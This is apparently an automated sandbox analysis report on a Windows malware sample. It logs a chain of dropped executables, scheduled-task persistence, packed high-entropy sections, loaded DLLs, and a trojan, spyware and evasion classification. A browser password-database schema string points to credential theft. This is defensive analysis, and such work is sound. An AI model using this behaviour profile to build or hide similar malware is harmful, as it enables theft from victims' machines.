Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50063 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: b02ca6c530.exe.4.dr	Static PE information: section name:
Source: b02ca6c530.exe.4.dr	Static PE information: section name: .rsrc
Source: b02ca6c530.exe.4.dr	Static PE information: section name: .idata
Source: b02ca6c530.exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: .idata
Source: 59d7339838.exe.4.dr	Static PE information: section name:
Source: 59d7339838.exe.4.dr	Static PE information: section name: .idata
Source: random[1].exe0.4.dr	Static PE information: section name:
Source: random[1].exe0.4.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.4.dr	Static PE information: section name: .idata
Source: random[1].exe0.4.dr	Static PE information: section name:
Source: K73CAIXQZ7ROMEX8OQ5J7.exe.10.dr	Static PE information: section name:
Source: K73CAIXQZ7ROMEX8OQ5J7.exe.10.dr	Static PE information: section name: .idata
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name:
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name: .idata
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name:
Source: skotes.exe.15.dr	Static PE information: section name:
Source: skotes.exe.15.dr	Static PE information: section name: .idata
Source: skotes.exe.15.dr	Static PE information: section name:
Source: random[1].exe.16.dr	Static PE information: section name:
Source: random[1].exe.16.dr	Static PE information: section name: .idata
Source: random[1].exe.16.dr	Static PE information: section name:
Source: 5708637e68.exe.16.dr	Static PE information: section name:
Source: 5708637e68.exe.16.dr	Static PE information: section name: .idata
Source: 5708637e68.exe.16.dr	Static PE information: section name:
Source: random[2].exe.16.dr	Static PE information: section name:
Source: random[2].exe.16.dr	Static PE information: section name: .idata
Source: e62942d11f.exe.16.dr	Static PE information: section name:
Source: e62942d11f.exe.16.dr	Static PE information: section name: .idata
Source: 7c247f0fb6.exe.16.dr	Static PE information: section name:
Source: 7c247f0fb6.exe.16.dr	Static PE information: section name: .idata
Source: BDDBC4BP671F32YA9Q.exe.20.dr	Static PE information: section name:
Source: BDDBC4BP671F32YA9Q.exe.20.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\axplong.job			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00F6E440	4_2_00F6E440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00F64CF0	4_2_00F64CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00FA3068	4_2_00FA3068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00F97D83	4_2_00F97D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00F64AF0	4_2_00F64AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00FA765B	4_2_00FA765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00FA2BD0	4_2_00FA2BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00FA777B	4_2_00FA777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00FA8720	4_2_00FA8720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00FA6F09	4_2_00FA6F09
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_00659909	10_3_00659909
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_00659909	10_3_00659909
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_00659909	10_3_00659909
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_00659909	10_3_00659909

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe 05D8C0BF7ACBC23D2A49073D4CDDE8547526BB55B6893F21C4753CC8800B0A8E
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe C340F6CCCE063FD78345F78E8C1970A5D6E170192CDBD20E5B48884F7268BD37

Source: FontCreator[1].exe.16.dr	Static PE information: Number of sections : 11 > 10
Source: FontCreator.exe.16.dr	Static PE information: Number of sections : 11 > 10

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9972592387602179
Source: file.exe	Static PE information: Section: kxpzlyin ZLIB complexity 0.9941579655593371
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9972592387602179
Source: axplong.exe.0.dr	Static PE information: Section: kxpzlyin ZLIB complexity 0.9941579655593371
Source: b02ca6c530.exe.4.dr	Static PE information: Section: dcpywpmo ZLIB complexity 0.994637644070367
Source: random[1].exe.4.dr	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: 59d7339838.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: random[1].exe0.4.dr	Static PE information: Section: dcpywpmo ZLIB complexity 0.994637644070367
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9981905653950953
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: Section: npluczcb ZLIB complexity 0.9944600974718245
Source: skotes.exe.15.dr	Static PE information: Section: ZLIB complexity 0.9981905653950953
Source: skotes.exe.15.dr	Static PE information: Section: npluczcb ZLIB complexity 0.9944600974718245
Source: random[1].exe.16.dr	Static PE information: Section: ZLIB complexity 0.9972592387602179
Source: random[1].exe.16.dr	Static PE information: Section: kxpzlyin ZLIB complexity 0.9941579655593371
Source: 5708637e68.exe.16.dr	Static PE information: Section: ZLIB complexity 0.9972592387602179
Source: 5708637e68.exe.16.dr	Static PE information: Section: kxpzlyin ZLIB complexity 0.9941579655593371

Source: b02ca6c530.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@32/20@18/4

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 59d7339838.exe, 0000000A.00000003.1965110883.0000000005327000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1980453382.000000000532A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1980810541.000000000531B000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118220622.0000000005D1A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2117791581.0000000005D38000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118664384.0000000005D18000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2133817021.0000000005D24000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2134655158.0000000005D05000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289121444.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2303823104.0000000005C15000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: b02ca6c530.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 59d7339838.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696491690); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: b02ca6c530.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe "C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe "C:\Users\user~1\AppData\Local\Temp\1001509001\59d7339838.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe "C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe "C:\Users\user~1\AppData\Local\Temp\1001509001\59d7339838.exe"
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process created: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe "C:\Users\user~1\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe "C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe"
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process created: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe "C:\Users\user~1\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe"
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe "C:\Users\user~1\AppData\Local\Temp\1001509001\59d7339838.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe "C:\Users\user~1\AppData\Local\Temp\1001698001\5708637e68.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\e62942d11f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe "C:\Users\user~1\AppData\Local\Temp\1001776101\7c247f0fb6.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe "C:\Users\user~1\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe "C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe "C:\Users\user~1\AppData\Local\Temp\1001509001\59d7339838.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process created: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe "C:\Users\user~1\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process created: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe "C:\Users\user~1\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe "C:\Users\user~1\AppData\Local\Temp\1001698001\5708637e68.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\e62942d11f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe "C:\Users\user~1\AppData\Local\Temp\1001776101\7c247f0fb6.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe "C:\Users\user~1\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: iphlpapi.dll	Jump to behavior
